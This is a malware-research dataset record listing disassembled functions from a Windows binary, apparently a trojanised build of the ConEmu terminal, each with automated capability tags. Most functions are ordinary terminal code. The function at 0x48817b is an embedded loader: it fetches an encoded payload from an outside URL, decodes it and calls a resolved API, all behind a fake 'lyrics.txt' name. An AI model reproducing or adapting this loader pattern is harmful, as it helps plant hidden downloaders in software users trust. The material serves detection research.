joyce8/EMBER2024-capa huggingface dataset:
Function at 0x487dd1
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x5836e0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
mov esi, ecx
call fcn.00497a64
test al, al
jne 0x487e3b
test esi, esi
je 0x487e3b
cmp dword [esi + 0x5d8], 0
je 0x487e3b
lea eax, [esi + 0x4066]
push 0x208
mov dword [ebp - 0x210], eax
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.004f5a90
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x4868b3
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [ebp - 0x208]
jmp 0x487e3d
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004f4166
leave
ret

Function at 0x48817b
Capabilities:
Terminate process

Disassembly:
sub esp, 0xc
mov eax, dword [str.kernel32.dll]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, eax
mov eax, dword [0x582ee0]
xor edx, edx
mov dword [esp + 8], edx
push eax
push edx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
push 0x104
push ebp
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor edx, edx
xor eax, eax
movzx ecx, word [ebp + edx*2]
cmp ecx, 0x5c
je 0x4882eb
test ecx, ecx
je 0x4881c8
inc edx
jmp 0x4881b3
mov edx, dword [0x582ea4]
lea ebp, [ebp + eax*2 + 2]
cmp dword [edx], 0
je 0x4881fe
movzx ecx, word [ebp]
xor eax, eax
test ecx, ecx
je 0x4881f4
xor ecx, ecx
movzx esi, word [ebp + ecx*2]
inc ecx
add eax, esi
movzx edi, word [ebp + ecx*2]
test edi, edi
jne 0x4881e3
cmp eax, dword [edx + 4]
je 0x4881fe
cmp eax, dword [edx + 8]
jne 0x488254
mov eax, dword [0x582e98]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
mov eax, dword [str.InternetOpenA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
mov eax, dword [str.InternetOpenUrlA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 4], eax
mov eax, dword [str.InternetReadFile]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
xor eax, eax
mov dword [esp], eax
push eax
push eax
push eax
push 1
mov edx, dword [str.logotype]
push edx
call edi
mov edi, eax
test edi, edi
jne 0x48825c
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor edx, edx
push edx
mov ecx, dword [str.https:__eldar.cz_myf_txt_radiohead___lyrics.txt]
mov eax, dword [0x582ec4]
push eax
push edx
push edx
push ecx
push edi
call dword [esp + 0x1c]
mov ecx, eax
test ecx, ecx
je 0x488254
mov edx, dword [0x582ee0]
lea eax, [esp]
push eax
push edx
lea edi, [ebp + 0x20a]
push edi
push ecx
call esi
test eax, eax
je 0x488254
mov eax, dword [esp]
test eax, eax
jbe 0x488254
lea eax, [ebp + eax + 0x20a]
cmp eax, edi
je 0x488254
mov ecx, dword [ebp + 0x20a]
xor edx, edx
mov ebp, dword [str._djBdV_8nXYhjXEaYX]
mov esi, dword [ebp + edx]
add esi, ecx
mov dword [edx + eax], esi
add edx, 4
cmp edx, 0x80
jl 0x4882ac
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
je 0x488254
xor eax, eax
lea ecx, [esp + 8]
push eax
push eax
mov edx, dword [0x582ed4]
push edx
push ecx
call ebx
jmp 0x488254
mov eax, edx
jmp 0x4881c5
Function at 0x488f7b
Capabilities:
Log keystrokes via polling

Disassembly:
push esi
mov esi, ecx
test esi, esi
je 0x488f9b
cmp dword [esi], 0
je 0x488f9b
call fcn.00496ee8
test al, al
je 0x488f9b
mov ecx, dword [esi]
add ecx, 0xc
pop esi
jmp 0x4cfd6c
xor al, al
pop esi
ret
push esi
mov esi, ecx
cmp byte [esi + 0x7c], 0
je 0x4cfd8f
push 1
call dword [sym.imp.USER32.dll_GetKeyState]
mov ecx, 0x8000
test cx, ax
jne 0x4cfd8b
mov byte [esi + 0x7c], 0
cmp byte [esi + 0x7c], 0
setne al
pop esi
ret
Function at 0x48b601
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x5836e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
mov ecx, 0x286
cmp dword [ebp + 0xc], ecx
jne 0x48b7a6
mov eax, dword [ebx + 0x18]
test eax, eax
je 0x48b642
cmp eax, 0xffffffff
je 0x48b642
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push ecx
push eax
mov ecx, ebx
call fcn.0048d60f
jmp 0x48b7a6
xor eax, eax
inc eax
push esi
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
push edi
mov word [ebp - 0x18], ax
lea edi, [ebp - 0x14]
xor eax, eax
stosd dword es:[edi], eax
push 0x14
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call esi
mov di, ax
xor eax, eax
inc eax
push 0x90
and di, ax
call esi
xor ecx, ecx
inc ecx
and ax, cx
push 0x91
mov word [ebp - 0x1a], ax
call esi
xor ecx, ecx
inc ecx
and ax, cx
push 0xa4
mov word [ebp - 0x1c], ax
call esi
mov ecx, 0x8000
and ax, cx
push 0xa5
mov word [ebp - 0x1e], ax
call esi
mov ecx, 0x8000
and ax, cx
push 0xa2
mov word [ebp - 0x20], ax
call esi
mov ecx, 0x8000
and ax, cx
push 0xa3
mov word [ebp - 0x22], ax
call esi
mov ecx, 0x8000
and ax, cx
push 0x10
mov word [ebp - 0x24], ax
call esi
mov ecx, 0x8000
xor esi, esi
and ax, cx
mov ecx, ebx
mov word [ebp - 0x26], ax
xor eax, eax
inc eax
push esi
mov word [ebp - 0x10], ax
call fcn.00487c63
neg eax
sbb eax, eax
xor ecx, ecx
and eax, 0xe5
inc ecx
mov word [ebp - 0xe], ax
mov ax, word [ebp + 0x10]
mov word [ebp - 0xa], ax
mov eax, dword [ebp + 0x14]
shr eax, 0x10
test dword [ebp + 0x14], 0x1000000
movzx eax, al
mov word [ebp - 0xc], ax
mov eax, 0x100
cmovne esi, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], esi
test di, di
je 0x48b73e
or esi, 0x80
mov dword [ebp - 8], esi
cmp word [ebp - 0x1a], 0
je 0x48b74b
or esi, 0x20
mov dword [ebp - 8], esi
cmp word [ebp - 0x1c], 0
je 0x48b758
or esi, 0x40
mov dword [ebp - 8], esi
cmp word [ebp - 0x1e], 0
je 0x48b765
or esi, 2
mov dword [ebp - 8], esi
cmp word [ebp - 0x20], 0
je 0x48b771
or esi, ecx
mov dword [ebp - 8], esi
cmp word [ebp - 0x22], 0
je 0x48b77e
or esi, 8
mov dword [ebp - 8], esi
cmp word [ebp - 0x24], 0
je 0x48b78b
or esi, 4
mov dword [ebp - 8], esi
cmp word [ebp - 0x26], 0
je 0x48b798
or esi, 0x10
mov dword [ebp - 8], esi
push ecx
lea eax, [ebp - 0x18]
mov ecx, ebx
push eax
call fcn.0048d312
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004f4166
leave
ret 0x10
Function at 0x48be47
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0x20a
push ebx
mov ebx, ecx
jne 0x48bec1
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0x11
shr edi, 0x10
call dword [sym.imp.USER32.dll_GetKeyState]
movzx esi, ax
xor eax, eax
shr esi, 0xf
inc eax
and esi, eax
cmp byte [ebp + 0x18], 0
jne 0x48be98
mov ecx, dword [0x5a22a0]
add ecx, 0x3ebc
mov dword [ebp + 0x18], ecx
mov eax, dword [ecx + 0x6c]
test eax, eax
jne 0x48be98
call fcn.00419bc7
mov ecx, dword [ebp + 0x18]
mov eax, dword [ecx + 0x6c]
test di, di
jle 0x48bea5
push 0
push eax
lea eax, [esi + esi]
jmp 0x48beb1
jns 0x48bebf
push 0
push eax
lea eax, [esi*2 + 1]
mov ecx, dword [ebx + 0x4294]
push 0xffffffffffffffff
push eax
call fcn.0047890b
pop edi
pop esi
pop ebx
pop ebp
ret 0x14

Function at 0x48c2e7
Capabilities:
Log keystrokes via polling

Disassembly:
push esi
mov esi, ecx
test esi, esi
je 0x48c3c2
cmp byte [esi + 0x82c], 0
je 0x48c308
cmp dword [esi + 0x5d8], 0
je 0x48c3c2
cmp byte [esi + 0x4ac1], 0
jne 0x48c3c2
cmp byte [esi + 0x4ac0], 0
jne 0x48c330
mov ecx, dword [esi]
call fcn.004e19c7
test al, al
je 0x48c330
mov byte [esi + 0x4ac0], 1
cmp dword [esi + 0x4ab4], 0
je 0x48c340
mov ecx, esi
call fcn.00488410
mov ecx, esi
call fcn.004975ad
test al, al
je 0x48c38b
mov eax, dword [0x5a23ec]
push edi
lea edi, [esi + 0x4980]
mov eax, dword [eax + 0x110bc]
test eax, eax
js 0x48c365
cmp dword [edi], eax
jge 0x48c38a
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov al, byte [edi]
mov ecx, dword [esi + 4]
and al, 1
movzx eax, al
push eax
mov eax, dword [esi + 0x4964]
mov ecx, dword [ecx + 0x3e64]
push dword [eax]
call fcn.004bf159
pop edi
cmp dword [esi + 0x5dc], 0
je 0x48c3c2
mov ecx, esi
call fcn.00497a2e
test al, al
jne 0x48c3a7
mov ecx, esi
pop esi
jmp fcn.00495689
mov ecx, dword [esi + 0x4294]
call fcn.00481ff3
test al, al
je 0x48c3c2
mov ecx, dword [esi + 0x4294]
pop esi
jmp fcn.0047e7e8
pop esi
ret
Function at 0x48d516
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0xc], 0
push ebx
push esi
push edi
mov esi, ecx
je 0x48d543
mov edi, dword [ebp + 8]
test edi, edi
je 0x48d543
xor bl, bl
call fcn.00497a2e
test al, al
jne 0x48d54c
push str.PostConsoleEventPipe_skipped_due_to_server_not_alive
mov ecx, esi
call fcn.00489fb2
xor al, al
pop edi
pop esi
pop ebx
leave
ret 8
mov eax, dword [esi + 0x828]
test eax, eax
je 0x48d55b
cmp eax, 0xffffffff
jne 0x48d56d
mov ecx, esi
call fcn.0048c716
test al, al
jne 0x48d56d
push str.PostConsoleEventPipe_skipped_due_to_OpenConsoleEventPipe_failed
jmp 0x48d53c
xor eax, eax
inc eax
mov dword [0x5a4f5c], eax
mov eax, dword [ebp + 0xc]
imul ecx, eax, 0x18
push 0
mov dword [edi + 4], eax
lea eax, [ebp + 8]
push eax
add ecx, 8
push ecx
push edi
mov dword [edi], ecx
push dword [esi + 0x828]
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x48d5a5
xor eax, eax
lea ebx, [eax + 1]
jmp 0x48d601
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, esi
mov dword [ebp + 0xc], eax
call fcn.00497047
test al, al
jne 0x48d601
mov eax, dword [ebp + 0xc]
cmp eax, 0xe8
je 0x48d5ca
cmp eax, 0xe9
jne 0x48d601
mov ecx, esi
call fcn.00497a2e
test al, al
je 0x48d601
mov ecx, esi
call fcn.0048c716
test al, al
je 0x48d601
push 0
lea eax, [ebp + 8]
push eax
push dword [ebp - 4]
push edi
push dword [esi + 0x828]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
movzx ebx, bl
push 1
pop eax
cmovne ebx, eax
and dword [0x5a4f5c], 0
mov al, bl
jmp 0x48d545
Function at 0x48fafe
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, dword [0x5836e0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x194]
push eax
push 0xc8
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x48fb6b
push edi
push esi
push 0x558a2c
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x48fb6b
push esi
push 0x80
push 2
push esi
push 1
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x48fb6b
xor eax, eax
xor esi, esi
mov word [edi], ax
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.004f4166
leave
ret 4
Function at 0x49398b
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
cmp byte [ebp + 8], 0
push esi
mov esi, ecx
je 0x4939d1
cmp dword [esi + 0x18], 0
je 0x4939d1
push dword [esi + 0x18]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4939d1
push 1
push 5
push dword [esi + 0x18]
mov ecx, esi
mov byte [esi + 0x49], 0
call fcn.00493a33
mov ecx, dword [esi]
add ecx, 0xc
call fcn.004cfc3f
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x493a13
mov ecx, dword [esi]
add ecx, 0xc
mov byte [esi + 0x49], 1
call fcn.004cfc3f
push 5
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
cmp dword [esi + 0x18], 0
je 0x493a09
push dword [esi + 0x18]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x493a09
push 1
push 0
push dword [esi + 0x18]
mov ecx, esi
call fcn.00493a33
mov ecx, dword [esi]
add ecx, 0xc
call fcn.004cfd94
pop esi
pop ebp
ret 4

Function at 0x493b3f
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
mov eax, dword [0x5836e0]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, ecx
test edi, edi
je 0x493bd7
push esi
xor eax, eax
push eax
push 0x8002
push eax
push eax
jmp 0x493bb6
push 0xff
lea eax, [ebp - 0x204]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
je 0x493bac
push 0x22
pop eax
cmp word [ebp - 0x204], ax
jne 0x493bac
cmp word [ebp - 0x1f6], ax
jne 0x493bac
push 6
lea eax, [ebp - 0x202]
push 0x5242d0
push eax
call fcn.00456c5c
add esp, 0xc
test eax, eax
je 0x493be4
push 0
push 0x8002
push esi
push 0
call dword [sym.imp.USER32.dll_FindWindowExW]
mov esi, eax
test esi, esi
jne 0x493b66
push eax
push 0xfff7
push 0x112
push dword [edi + 0xc]
call dword [sym.imp.USER32.dll_PostMessageW]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.004f4166
leave
ret
push esi
call fcn.004ea440
pop ecx
jmp 0x493bd6
Function at 0x494000
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
mov eax, dword [0x5836e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov dword [ebp - 0xa8], ecx
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp - 0xa8]
mov edi, eax
push 5
push str.Initializing_ConEmu__4_
call fcn.00491e14
mov eax, dword [ebp - 0xa8]
mov ecx, dword [eax]
call fcn.004dc00f
mov ecx, dword [ebp - 0xa8]
push eax
push str.RCon::MonitorThread_ID_i
lea eax, [ecx + 0x39ac]
push eax
push ecx
push 0x48a0ba
call fcn.004e6611
mov ecx, dword [ebp - 0xa8]
add esp, 0x14
push 5
push str.Initializing_ConEmu__5_
mov dword [ecx + 0x39a8], eax
call fcn.00491e14
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, edi
cmp eax, 0x9c4
jbe 0x4940b3
push eax
lea eax, [ebp - 0xa4]
push str._DBG__Very_high_CPU_load__CreateThread_takes__u_ms
push eax
call fcn.004031fd
mov ecx, dword [ebp - 0xa8]
lea eax, [ebp - 0xa4]
add esp, 0xc
push eax
call fcn.0048a02d
mov eax, dword [ebp - 0xa8]
cmp dword [eax + 0x39a8], ebx
jne 0x4940d4
push ebx
push ebx
push ebx
push ebx
push str.Cant_create_console_thread_
call fcn.00420ad9
add esp, 0x14
jmp 0x4940d6
mov bl, 1
mov ecx, dword [ebp - 4]
mov al, bl
pop edi
xor ecx, ebp
pop ebx
call fcn.004f4166
leave
ret
Function at 0x49636e
Capabilities:
Create process on windows

Disassembly:
push 0x190
mov eax, 0x510e6e
call fcn.004f41e2
test ecx, ecx
je 0x4964f5
xor ebx, ebx
cmp dword [ecx + 0x18], ebx
je 0x4963a3
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push str.ChildGui_unfastening_is_not_working_yet
call fcn.00420ad9
add esp, 0x14
jmp 0x4964f5
mov edi, dword [ecx + 0x5d8]
test edi, edi
je 0x4964f5
push ebx
push ebx
push 1
call fcn.00485799
test al, al
je 0x4964f5
lea ecx, [ebp - 0xec]
call fcn.004e25a1
mov ecx, dword [0x5a22a0]
lea eax, [ebp - 0xec]
push ebx
push eax
mov dword [ebp - 4], ebx
call fcn.0041129d
push edi
mov esi, eax
lea eax, [ebp - 0x90]
push str._GuiMacro__Attach__u_
push eax
call fcn.00409b67
add esp, 0xc
lea eax, [ebp - 0x90]
xor ecx, ecx
test esi, esi
push ebx
push ebx
push ebx
push eax
mov eax, 0x5225e4
cmove eax, ecx
lea ecx, [ebp - 0x148]
push eax
mov eax, dword [0x5a22a0]
push esi
push str.___Detached
add eax, 0xa90
push eax
push 0x524d9c
call fcn.004e2531
push 0x40
lea eax, [ebp - 0x198]
mov byte [ebp - 4], 1
push ebx
push eax
mov dword [ebp - 0x19c], 0x44
call fcn.004f5a90
xor eax, eax
lea edi, [ebp - 0x158]
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x19c]
push eax
push ebx
push ebx
push 0x20
push ebx
push ebx
push ebx
push dword [ebp - 0x148]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x4964a8
push dword [0x5a22a4]
push str.Failed_to_start_new_ConEmu_instance
push 0x10
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 0x148]
call fcn.00420ad9
add esp, 0x14
jmp 0x4964df
mov eax, dword [ebp - 0x158]
or edi, 0xffffffff
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x4964c8
cmp eax, edi
je 0x4964c8
push eax
mov dword [ebp - 0x158], ebx
call esi
mov eax, dword [ebp - 0x154]
test eax, eax
je 0x4964df
cmp eax, edi
je 0x4964df
push eax
mov dword [ebp - 0x154], ebx
call esi
lea ecx, [ebp - 0x148]
call fcn.004e25e0
lea ecx, [ebp - 0xec]
call fcn.004e25e0
call fcn.004f418c
ret

Function at 0x497047
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
mov eax, dword [0x5836e0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push esi
mov ecx, dword [esi + 4]
call fcn.0041f29e
test al, al
je 0x4970d5
mov eax, dword [esi + 0x42a8]
test eax, eax
je 0x4970e4
cmp eax, dword [esi + 0x5d8]
jne 0x4970e4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esi + 0x42ac]
cmp eax, 0x7d0
jb 0x4970e4
mov ecx, esi
call fcn.00497a2e
test al, al
je 0x4970d5
push dword [esi + 0x5d8]
lea eax, [ebp - 0x204]
push str.Server_PID_u_hangs_during_termination._Force_kill_triggered_
push eax
call fcn.00409bde
add esp, 0xc
lea eax, [ebp - 0x204]
mov ecx, esi
push eax
call fcn.0048a02d
mov eax, dword [esi + 0x5dc]
test eax, eax
je 0x4970d5
push 0x64
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004f4166
leave
ret
cmp dword [esi + 0xc], 0
je 0x4970d5
cmp byte [esi + 0x4ac2], 0
jne 0x4970d5
xor al, al
jmp 0x4970d7
Function at 0x49ff81
Capabilities:
Clear file content
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, ecx
cmp dword [esi + 8], 0
jle 0x49ffba
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push 0
push eax
push dword [esi + 8]
push dword [esi + 0x14]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x49ffbd
cmp dword [ebp - 4], 0
je 0x49ffbd
push dword [esi]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
pop esi
leave
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x14]
call fcn.0049dbee
push 0x57b1ac
mov eax, ecx
push eax
call fcn.004f8e2b
int3

Function at 0x4a07df
Capabilities:
Check for time delay via gettickcount

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [0x5a22a0]
call fcn.0040f0b1
cmp eax, 7
jl 0x4a0810
cmp dword [esi + 0x14], 0
je 0x4a0810
call fcn.004d4aa9
test al, al
jne 0x4a0810
cmp dword [esi + 4], 0
je 0x4a0812
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop esi
ret
mov ecx, esi
pop esi
jmp fcn.004a081a

Function at 0x4a081a
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x20
mov eax, 0x511226
call fcn.004f41ae
mov esi, ecx
lea ecx, [ebp - 0x1c]
call fcn.004e4003
and dword [ebp - 4], 0
lea ecx, [ebp - 0x1c]
push 0xffffffffffffffff
push dword [esi + 0x38]
call fcn.004e77a9
and dword [ebp - 0x10], 0
jmp 0x4a0853
lea eax, [ebp - 0x10]
push eax
lea ecx, [esi + 0x24]
call fcn.00407941
lea eax, [ebp - 0x10]
push eax
lea ecx, [esi + 0x10]
call fcn.0041f2be
test al, al
jne 0x4a0847
lea ecx, [ebp - 0x1c]
call fcn.004e7875
cmp byte [esi + 0xc], 0
jne 0x4a0928
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
lea eax, [ebp - 0x10]
push eax
lea ecx, [esi + 0x24]
call fcn.0041f2be
test al, al
je 0x4a0928
push dword [ebp - 0x10]
mov ecx, dword [0x5a22a0]
call fcn.0041f2ae
test al, al
je 0x4a091e
push dword [ebp - 0x10]
lea ecx, [ebp - 0x2c]
call fcn.004d83c4
cmp dword [ebp - 0x28], 0
mov byte [ebp - 4], 1
je 0x4a0912
cmp dword [esi + 0x40], 0
je 0x4a08da
call edi
mov ecx, dword [0x5a23ec]
sub eax, dword [esi + 0x40]
mov ecx, dword [ecx + 0xee0]
cmp eax, ecx
jae 0x4a08da
sub ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [esi + 0x3c], 1
mov ecx, dword [0x5a22a0]
call fcn.0040ea0c
mov ecx, dword [ebp - 0x28]
mov byte [ebp - 0x14], al
call fcn.004de78b
mov ecx, eax
call fcn.0048c241
push dword [ebp - 0x14]
mov ecx, dword [0x5a22a0]
call fcn.00407df8
mov byte [esi + 0x3c], 0
call edi
mov dword [esi + 0x40], eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call fcn.004d84a5
cmp byte [esi + 0xc], 0
je 0x4a087b
lea ecx, [ebp - 0x1c]
call fcn.004e7762
call fcn.004f4177
ret

Function at 0x4a0a22
Capabilities:
Check for time delay via gettickcount

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 4], 0
jne 0x4a0a4c
push 0
push str.RunQueueThreadHelper
push esi
push esi
push 0x4a0a08
call fcn.004e6611
add esp, 0x14
mov dword [esi + 4], eax
mov ecx, esi
pop esi
jmp fcn.004a07df
pop esi
ret
Function at 0x4a1c8d
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
cmp esi, 0x100
jb 0x4a1d78
cmp esi, 0x101
jbe 0x4a1cbd
lea eax, [esi - 0x104]
cmp eax, 1
ja 0x4a1d78
cmp dword [ebp + 0x10], 0x46
jne 0x4a1d78
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x11
call edi
mov ecx, 0x8000
test cx, ax
je 0x4a1d01
push 0x12
call edi
mov ecx, 0x8000
test cx, ax
jne 0x4a1d01
push 0x10
call edi
mov ecx, 0x8000
test cx, ax
jne 0x4a1d01
mov dword [ebp + 0xc], 0x8024
jmp 0x4a1d32
push 0x12
call edi
mov ecx, 0x8000
test cx, ax
je 0x4a1d77
push 0x11
call edi
mov ecx, 0x8000
test cx, ax
jne 0x4a1d77
push 0x10
call edi
mov ecx, 0x8000
test cx, ax
jne 0x4a1d77
mov dword [ebp + 0xc], 0x8028
cmp esi, 0x100
je 0x4a1d42
cmp esi, 0x104
jne 0x4a1d70
mov ecx, dword [0x5a4f6c]
lea edi, [ebp - 0xc]
xor eax, eax
stosd dword es:[edi], eax
push ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp + 8]
push eax
call fcn.004a2209
test al, al
je 0x4a1d77
push ebx
push ebx
push dword [ebp + 0xc]
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_PostMessageW]
mov eax, dword [ebp + 0x18]
mov dword [eax], ebx
mov bl, 1
pop edi
pop esi
mov al, bl
pop ebx
leave
ret

Function at 0x4a36d3
Capabilities:
Write file on windows

Disassembly:
mov ecx, dword [0x5a23f0]
push 0x22
call fcn.0046ab86
test eax, eax
je 0x4a36eb
mov ecx, eax
jmp fcn.004ae7dc
ret
Function at 0x4a3c2f
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x470
mov eax, dword [0x5836e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x414]
mov ebx, 0x104
push ebx
push eax
push 0x6a1
push edi
call dword [sym.imp.USER32.dll_GetDlgItemTextW]
test eax, eax
jne 0x4a3c6c
mov word [ebp - 0x414], ax
push ebx
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0x58
pop esi
xor eax, eax
push esi
push eax
mov dword [ebp - 0x418], eax
lea eax, [ebp - 0x470]
push eax
call fcn.004f5a90
mov eax, dword [0x5a2c8c]
add esp, 0xc
mov dword [ebp - 0x46c], eax
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x470], esi
xor esi, esi
mov dword [ebp - 0x454], eax
inc esi
lea eax, [ebp - 0x470]
mov dword [ebp - 0x464], str.All_images__.bmp_.jpg_.png_
push eax
mov dword [ebp - 0x458], esi
mov dword [ebp - 0x450], ebx
mov dword [ebp - 0x440], str.Choose_background_image
mov dword [ebp - 0x43c], 0x88180c
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
test eax, eax
je 0x4a3e4a
mov ecx, dword [0x5a23f0]
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.0046b616
test al, al
je 0x4a3e4a
mov ebx, dword [0x5a22a0]
add ebx, 0xc9a
xor esi, esi
mov edx, ebx
lea ecx, [edx + 2]
mov ax, word [edx]
add edx, 2
cmp ax, si
jne 0x4a3d2a
sub edx, ecx
lea ecx, [ebp - 0x20c]
sar edx, 1
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, word [ebp - 0x418]
jne 0x4a3d42
sub ecx, esi
sar ecx, 1
cmp ecx, edx
jbe 0x4a3e07
push 0x5c
lea esi, [edx + edx]
pop eax
cmp word [ebp + esi - 0x20c], ax
jne 0x4a3e07
cmp esi, 0x208
jae 0x4a3e59
xor eax, eax
mov word [ebp + esi - 0x20c], ax
lea eax, [ebp - 0x20c]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
xor ebx, ebx
test eax, eax
push 1
pop eax
movzx ecx, bl
cmove ecx, eax
push 0x5c
pop eax
mov word [ebp + esi - 0x20c], ax
test cl, cl
je 0x4a3e07
mov eax, dword [0x5a23ec]
mov esi, 0x104
push str._ConEmuDir_
push esi
add eax, 0xca4
push eax
call fcn.00401a0b
mov ecx, dword [0x5a22a0]
add ecx, 0xc9a
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x4a3ddb
sub ecx, edx
lea eax, [ebp - 0x20c]
sar ecx, 1
lea eax, [eax + ecx*2]
push eax
mov eax, dword [0x5a23ec]
push esi
add eax, 0xca4
push eax
call fcn.004019cd
jmp 0x4a3e24
lea eax, [ebp - 0x20c]
mov esi, 0x104
push eax
mov eax, dword [0x5a23ec]
push esi
add eax, 0xca4
push eax
call fcn.00401a0b
mov eax, dword [0x5a23ec]
add eax, 0xca4
push eax
push 0x6a1
push edi
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
mov ecx, dword [0x5a22a0]
xor eax, eax
inc eax
push eax
call fcn.0041c50d
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004f4166
leave
ret
call fcn.004f4963
int3